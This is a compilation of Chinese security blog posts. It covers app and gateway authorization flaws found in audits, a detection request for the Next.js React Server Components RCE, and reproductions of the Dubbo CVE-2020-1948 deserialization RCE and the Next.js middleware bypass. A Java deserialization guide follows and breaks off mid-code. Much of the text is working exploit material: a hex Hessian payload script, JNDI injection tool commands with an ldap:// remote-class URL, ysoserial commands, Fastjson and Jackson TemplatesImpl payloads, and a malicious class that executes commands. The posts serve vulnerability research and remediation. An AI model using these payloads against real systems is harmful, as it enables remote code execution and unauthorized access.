\":4,\"name\":\"\uxxx4\"},{\"id\":5,\"name\":\"\uxxxI\"},{\"id\":6,\"name\":\"\uxxxa\"},{\"id\":7,\"name\":\"\uxxxa\"},{\"id\":8,\"name\":\"\uxxx4\"},{\"id\":9,\"name\":\"\uxxx0\"},{\"id\":10,\"name\":\"\uxxx4\"}]","business_license":"https://src-alpha.oss-cn-hangzhou.aliyuncs.com/xxx/xxx/xxxx/xxxx/exxxxxxxxo","trending":null,"featured":null,"brand_info":{"id":xxxx,"name":"\uxxxx7","logo_url":"https:\/\/src-alpha.oss-cn-hangzhou.aliyuncs.com\/xxx\/xxx\/xxxx?v=1xxxxxxxx0","intro":"26\uxxxxb","qrcode_show_url":null}}

返回签约公司信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /xxxxxx/xxx/xxxx/public/get?key=xxxxx_xxx_company_name HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxxxxxxx1(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9
Accept-Encoding: gzip, deflate, br

HTTP/2 200 OK
Date: xxx, xx Oct 2025 01:11:11 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 42
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

xxxxxxxxxx有限公司

感觉要罄竹难书了,不继续写了,贴一个营业执照示意,当然,我没把这么细节的东西都反馈

image

写在后面

虽然这些东西都是该连锁品牌直接展示在 APP 上的,但实际上是非常不安全的,如果被不好意者批量爬取,可能会造成大量敏感信息泄露

这个任务很快也就不由我处理了(毕竟又要漂了),内容也就都被我删除了,只留在博客做经历证明和留档了,不做违法用途

image

某企业网关代码审计

某企业网关代码审计

image

写在前面

这个某企业不用我说也知道是我待过的公司了,但是不会点名的

以下都是情节模拟,并非具体情况,请细加甄别

在24年初,公司让我和阿里的安全人员对公司资产做了一些渗透工作,我们发现的问题不少,也有相互重合的部分,其中对于验签的问题,在 有点问题:灰产-如何破解请求验签(上) 及 有点问题:灰产-如何破解请求验签(下) 已经有过表述

那么,隐藏在验签下的问题有什么呢?

我们同时在不同的接口上发现了大小的越权问题,例如可以看到别人的收货地址等,但只是在接口层面的,没有意识到可能是一个大范围的问题,直到一个疑惑在我的脑海里萌生——

“为什么我们的 userid 有这么多的写法呢?”

image

好奇是所有问题的开端,害死了无数牛马(x

所有起因

因为那时我来公司不久,阿里安全人员又是外来做服务的,都无法解答这个问题,后来才知道是因为在2017年的时候公司做过技术迁移,从 Php(没错,就是如此古老)转到 Java,而后在2022年又进行过一次升级改造,现在已经是第三版了,所以代码的入参字段会有历史遗留,但由于一直都在用,也没有机会和足够的理由进行 C端强制升级,也没有足够的人力去投入,毕竟业务需求第一嘛……

image

我只能说,一般有这种想法的公司不改的话,迟早有一天会爆个大的

如何触发

其实非常简单,也就是在测试增加错误字段的时候,我们好奇地想,如果采用不同的userid书写方式作为字段,在 body 中发起 api 请求,会怎么样?

他妈的下面的userid字段可以覆盖上面的userid字段,并直接被后端服务作为正确入参而调用!

image

How Can It Be!

尝试了几个接口都可以被如此利用后,直觉告诉我,不可能是后端各式的应用服务做了这样的解析和取参,应该是网关层面的问题,遂查之

在撸了一串人后,我们确定了这个问题是17年那次迁移时,为了兼容老旧 Php 实现,然后在22年迁移时,为了兼容老旧 Java 实现引入的两段代码导致的,直接人员早就离职了

image

这段代码会在读取到旧的 userid 字段后,自动放弃掉新的写法,不从 token 中解析 userid,直接信任用户传入的字段值……

image

危害程度

直到这里,大伙还是“这个问题都存在7年了,又没发生大问题,你来就要说改,就要翻天了?”

我表示,好像确实还没有找到被利用的痕迹,我现在数据不完整,我 SLS 上捞一下现在有哪些接口还是这样的类似实现,然后我再一个个给你们验证好,是不是都可以触发这个问题,在告诉你们能造成多大的危害,我们再来谈要不要改的问题

我不知道这种问题是不是安全人员做,但是完全由安全梳理验证和评估应该是不合适的,但我还是一个人做了,给他整完

结果就是:自2024年Q4末期到2025年Q1,从网关配置(compatible.before.dubboApiStr.生产配置)导出PHP相关老旧接口130例,再由网关日志(xx-gateway_xx-gateway)30天流量匹配出PHP相关老旧接口76例,审查得到越权查看修改个人信息、过度返回信息(token、API、部分源码)、伪造进行业务操作(取消任意用户预约排队乃至无需权益进行开门)等问题,以下为细节问题划分与处理方案……

image

后续处理

当我把这些细节展示出来,并且反馈上级时,得到的是各TL“我们都知道这个地方有问题啦,有处理方案,就是没人推巴拉巴拉”,然后CTO是一句“下次这种大家都有方案达成共同认知的问题就可以不用拉我,你们去推进做就好了”

不是,如果我不去统计,我不去挖不去审计,你们真的知道这会引起什么问题,怎么引起,又是因为什么代码引起的?你们知道有哪些要改,会影响到哪些业务,哪些需要下线需要换新接口,哪些可以直接在原有基础上改网关代码就能兜底?

这个问题从24年初被发现,到25年Q3才被从网关上兜底解决,而且解决了也被觉得是个7年都没发生问题的问题,解决与否感觉没什么价值,我并没有受到任何肯定,大家也只是觉得是安全强要求才推进去做的

image

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

本文转自 Adam Kues 并作补充

今天早上,Next.js 发布了安全公告存在一个漏洞,即使在默认配置下也会导致远程代码执行 (RCE),且无需任何前提条件。此问题的根源在于 Next.js 使用的 React 服务器组件。

在过去的一天里,我们注意到 GitHub 上流传着大量不正确的 PoC,这些 PoC 并不能以较高的置信度真实地证实此漏洞的存在。

我们在 GitHub 上看到的一些 PoC 完全误诊了漏洞的根本原因,关键在于它无需任何前提条件(例如上下文中存在某些函数)即可在 Next.js 上利用该漏洞。

虽然我们已在下方提供了 HTTP 请求和预期响应,但如果您希望使用工具来检测主机列表中的此问题,请参阅我们 GitHub 上的漏洞代码库:https://github.com/assetnote/react2shell-scanner。

该漏洞的原始作者确认,GitHub 上的这些 PoC 与之前分享给 React 和 Next.js 维护者的漏洞利用程序并不相同。请参阅作者在 GitHub 上的留言。https://react2shell.com/。

虽然有几种机制可以确定资产是否正在运行 React Server Components (RSC),但仅仅验证 RSC 是否存在并不足以确定资产是否真的容易受到此 RCE 攻击。

因此,我们的安全研究团队进行了调查,以确定可用于安全可靠地确认 Next.js 应用程序中是否存在此 RCE 漏洞的 HTTP 请求。

注意:我们收到报告称,一些用户声称在响应摘要错误的主机上存在漏洞,但并未明确发送以下有效载荷。此有效载荷对于确认该漏洞的存在至关重要。即使以下有效载荷可能在受影响的 Next.js 版本范围之外也能检测到漏洞;但是,由于 WAF 会对完整的 RCE 有效载荷进行保护,因此仍然需要进行检查。

可以使用以下HTTP请求来确认是否存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 232

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

当使用存在漏洞的 Next.js 版本发送上述请求时,HTTP 响应将如下所示:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 500 Internal Server Error
Date: Thu, 04 Dec 2025 06:16:39 GMT
Content-Type: text/x-component
Connection: keep-alive
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Vary: rsc
Content-Length: 76

0:{"a":"$@1","f":"","b":"yd-J8UfWl70zwtaAy83s7"}
1:E{"digest":"2971658870"}

检查是否存在E{"digest"500 状态码,可以可靠地返回环境中存在漏洞的主机。

为什么这种检查有效?

之所以能够通过此检查区分易受攻击的主机和非易受攻击的主机,是因为 React-Server 依赖项使用冒号来分隔对象属性。请参见以下代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any, parentObject: Object, key: string) => T,
): T {
const path = reference.split(':');
// ... snip ...
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}

例如,如果我们像这样在多部分请求中传递 JSON:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这将转化为以下内容:

1
"$1:a:b" -> {"a":{"b":"foo"}}.a.b -> "foo"

在存在漏洞的 React Server 版本中,我们可以通过以下 multipart 请求强制返回 500 错误:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

之所以会引发异常,是因为它最终映射到以下内容:

1
"$1:a:a" -> {}.a.a -> (undefined).a -> 500

React Server Components 的补丁版本为这种冒号表示法添加了额外的检查,从而防止崩溃发生:

1
2
3
4
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}

这意味着如果:语法引用了不存在的属性,则会被忽略。这意味着补丁之后,我们将不再收到 500 错误。

Assetnote 攻击面管理平台的客户今天早些时候通过我们安全研究团队开发的高保真检查收到了有关其整个攻击面存在此漏洞的通知。

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

本文转自 JingQ 并作补充

关注该漏洞的童鞋,应该对 Dubbo 这个架构优秀的 RPC 框架不陌生,所以直入主题

漏洞详情

腾讯安全玄武实验室研究员发现,Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。

经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对 Dubbo 服务端进行恶意代码执行,影响广泛。

影响版本

dubbo 2.7.6 以下的版本

复现环境

漏洞注入简介

漏洞发现者 rui0,使用 Remo 模块,最终是通过 JdbcRowSetImpl 调用 jndi 来进行远程代码执行

由于该场景复现依赖于低版本的 jdk,之前使用 jdk-8u221 没能复现,去官网下载回低版本,使用低版本后成功复现

名词解释

  • PoC: Proof Of Concept 的缩写。在黑客圈指:观点验证程序。
  • CVE: Common Vulnerabilities & Exposures 通用漏洞披露。
  • Exp:Exploit,在安全方面,翻译为 「利用」,指利用漏洞进行攻击的动作。
  • Payload:翻译为「有效负荷」,指成功 exploit 后,在目标系统执行的代码或指令。
  • RCE:remote code execution 远程命令执行,简称 RCE 漏洞。
  • RMI: 专为 Java 环境设计的远程方法调用机制,远程服务器实现具体的 Java 方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。
  • LDAP: 轻量级目录访问协议,目录服务是一种以树状结构的目录数据库为基础,外加各种访问协议的信息查询服务
  • JNDI: Java Naming and Directory Interface,包括 Naming Server 和 Directory Server。是一种 Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

以上大概就是本次漏洞所涉及到的专业名词,先有个大概了解,后面的内容看的应该比较明白。

漏洞复现

复现场景翻阅了很多篇文章和尝试,发现通过别人构造的 payload 来复现最为简单,所以这里记录一下复现的流程

模拟 Provider

攻击依赖于 rome 工具包中的 ToStringBean 工具,所以无论下载什么提供者项目,都需要将以下依赖加入到 POM.xml 文件中

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

以 dubbo-spring-boot-project 说明

  • 一、在 github 下载示例代码,切换分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依赖
  • 三、打包启动
1
2
3
4
5
6
// 下载
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切换分支
$ git checkout 2.7.6
// 添加完依赖后,打包
$ mvn clean install -DskipTests

image

  • 四、启动服务提供者

启动的时候,注意要用低版本的 JDK,使用 IDEA 的话,可以在这里选择编译运行的 JRE

image

接着启动 Provier 即可

运行 JNDI 程序

使用了该位大佬的 PoC,里面注入的 URL 是 ldap://127.0.0.1:1389/Exploit,具体原理可以 参考资料六

具体原理说明:

image

以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

  • 一、下载注入工具代码
1
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、编译工具包,在 target 目录生成
1
$ mvn clean install -DskipTests
  • 三、运行 JNDI 工具包
1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

例如测试时,执行的命令是打开计算器,可以执行下面命令

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

构造 POC

编辑以下 Python 脚本,触发 dubbo provider 反序列化,例如以漏洞名来命名为 2020_1948.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))

def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)

run("127.0.0.1",12345)

最终复现效果:

image

漏洞小结

  • 1、下载 demo 代码,加入 rome 依赖
  • 2、启动 JNDI 服务
  • 3、构造 2020-1948.py Poc 攻击

漏洞原理简述

网上公布的 PoC 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

image

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

image

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

image

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

在 hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

image

至此,注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社区讨论&安全网站修复建议

  • 合并社区 aquariuspj 用户给出的对 DecodeableRpcInvocation 增加入参类型校验

    修复分支 #6374

  • 漏洞发现者 rui0 建议删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
    评论建议

还有阿里云官方的安全建议

目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:

思考分析&修复思路

复现条件有限

需要引入 rome 类型的 jar 包,包含特殊的构造方法和 toString 方法(或许还有其它攻击点)

社区讨论内容

社区讨论和 commit 的内容,增加了前置校验,在反序列化之前判断服务或方法是否有效,非 $invoke 或 $echo 方法将会抛出错误,不进行参数的反序列化,增加了一点攻击难度。但由于方法名 methodName 可以用户自定义,所以修改方法名还是有可能跳过校验,触发漏洞

image

结合业务分析

业务方使用 rome 依赖的很少,构造这种类型的攻击,由于没有这个类,在 provider 反序列化时会提前报 classNotFoundException,没有执行到 readObject 方法,从而无法攻击。

综上所述,考虑到修复难度和影响范围,最后对 dubbo 修改方案如下:

  • 1、合并社区针对改漏洞的修复分支 #6374
  • 2、将 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免对输入参数进行反序列化

絮叨

隔行如隔山,一山还有一山高,修复漏洞真困难。感慨漏洞发现者们,多亏这些白帽子的仔细,揭露了这么多可攻击点,将漏洞信息提交到安全中心,让使用方了解到漏洞详情。

还有 Dubbo 这个中间件的社区活跃度很高,出现问题后,大家讨论的热情高涨,积极去修复漏洞,社区活跃度高,代码更新快,支持的功能越来越多,使用起来也更放心。

通过这次分析,了解到挺多基础的安全知识,感觉随着开源代码被研究更透彻,可供攻击的点也越来越多,在代码设计和编写时,也得注意一下安全信息,避免被攻击。

参考资料

1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

6、LADP、RMI 注入程序原理说明

7、示范例子使用的注入程序

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别

11、Github 社区讨论

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

本文转自 CVE-柠檬i 并作补充

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

漏洞信息

Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。包含众多功能,是深入研究复杂研究的完美游乐场。在信念、好奇心和韧性的推动下,我们出发去探索它鲜为人知的方面,寻找等待被发现的隐藏宝藏。

当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。

该漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。

补丁:

  • 对于 Next.js 15.x,此问题已在 15.2.3 中修复
  • 对于 Next.js 14.x,此问题已在 14.2.25 中修复

漏洞复现

vulhub已有环境:vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

启动环境:

1
docker compose up -d

image

访问虚拟机3000端口,可以看到环境搭建成功:http://your-ip:3000/login

image

访问根路径,显示需要登陆:

image

添加请求头,使用权限绕过payload

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

访问成功,权限绕过漏洞复现成功

image

参考文章

Next.js 和损坏的中间件:授权工件 - zhero_web_security (zhero-web-sec.github.io)

vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

CVE 2025 29927 Nextjs Auth Bypass - chestnut’s blog (ch35tnut.com)

Next.js中间件授权绕过漏洞终极指南:CVE-2025-29927深度解析与防护策略 - 高效码农 (xugj520.cn)

Comparing v15.2.2…v15.2.3 · vercel/next.js (github.com)

代码审计知识星球 (zsxq.com)

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

本文转自 Acl0 并作补充

Java反序列化漏洞全解:原理、案例、利用与防护

本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。

1. 什么是Java反序列化漏洞?

Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream机制,自动还原序列化数据的对象状态。

反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

如果攻击者控制object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。

漏洞核心要素

  1. 可控输入:攻击者能够提供恶意的序列化数据。
  2. 反序列化触发:应用调用readObject()或通过易受攻击的库处理数据。
  3. Gadget链:在反序列化时自动触发恶意代码的类和方法链。

2. 利用原理

Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()、readResolve()或finalize()等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。

主要攻击方式

  • 命令执行:通过Gadget链调用Runtime.getRuntime().exec()执行任意命令。
  • 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。
  • 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。

image

3. 常见Java反序列化漏洞与利用

以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。

工具准备:ysoserial

ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。

安装步骤:

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

编译后生成ysoserial-[version]-all.jar,可用于生成多种Gadget链的Payload。

3.1 Apache Commons Collections(CC)

漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。

利用原理:通过InvokerTransformer和ChainedTransformer,结合LazyMap或TiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()。

生成Payload(使用ysoserial):

1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  • Windows下使用calc打开计算器,Linux可替换为gnome-calculator或xcalc。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import java.io.*;
import org.apache.commons.collections.map.LazyMap;

public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}

攻击示例:

  1. 生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser。
  2. 通过网络接口(文件上传或Socket)将payload.ser发送到服务端。
  3. 服务端反序列化Payload,执行calc.exe。

可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。

3.2 Fastjson(版本<1.2.47)

漏洞描述:Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。

利用Payload(JSON):

1
2
3
4
5
6
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

创建恶意类:

  1. 编写Exploit.java:
1
2
3
4
5
6
7
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
  1. 编译并编码:
1
2
javac Exploit.java
base64 Exploit.class > exploit.b64
  1. 将base64内容插入JSON的bytecodes字段。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}

攻击示例:

  1. 将恶意JSON发送到服务端接口(例如通过HTTP POST)。
  2. Fastjson反序列化Payload,执行calc命令。

受影响版本:

  • Fastjson ≤ 1.2.24:默认启用autotype。
  • Fastjson ≤ 1.2.47:存在绕过方式(如使用B@替代@type)。

3.3 Jackson(启用Default Typing)

漏洞描述:Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。

利用Payload(JSON):

1
2
3
4
5
6
{
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import com.fasterxml.jackson.databind.ObjectMapper;

public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
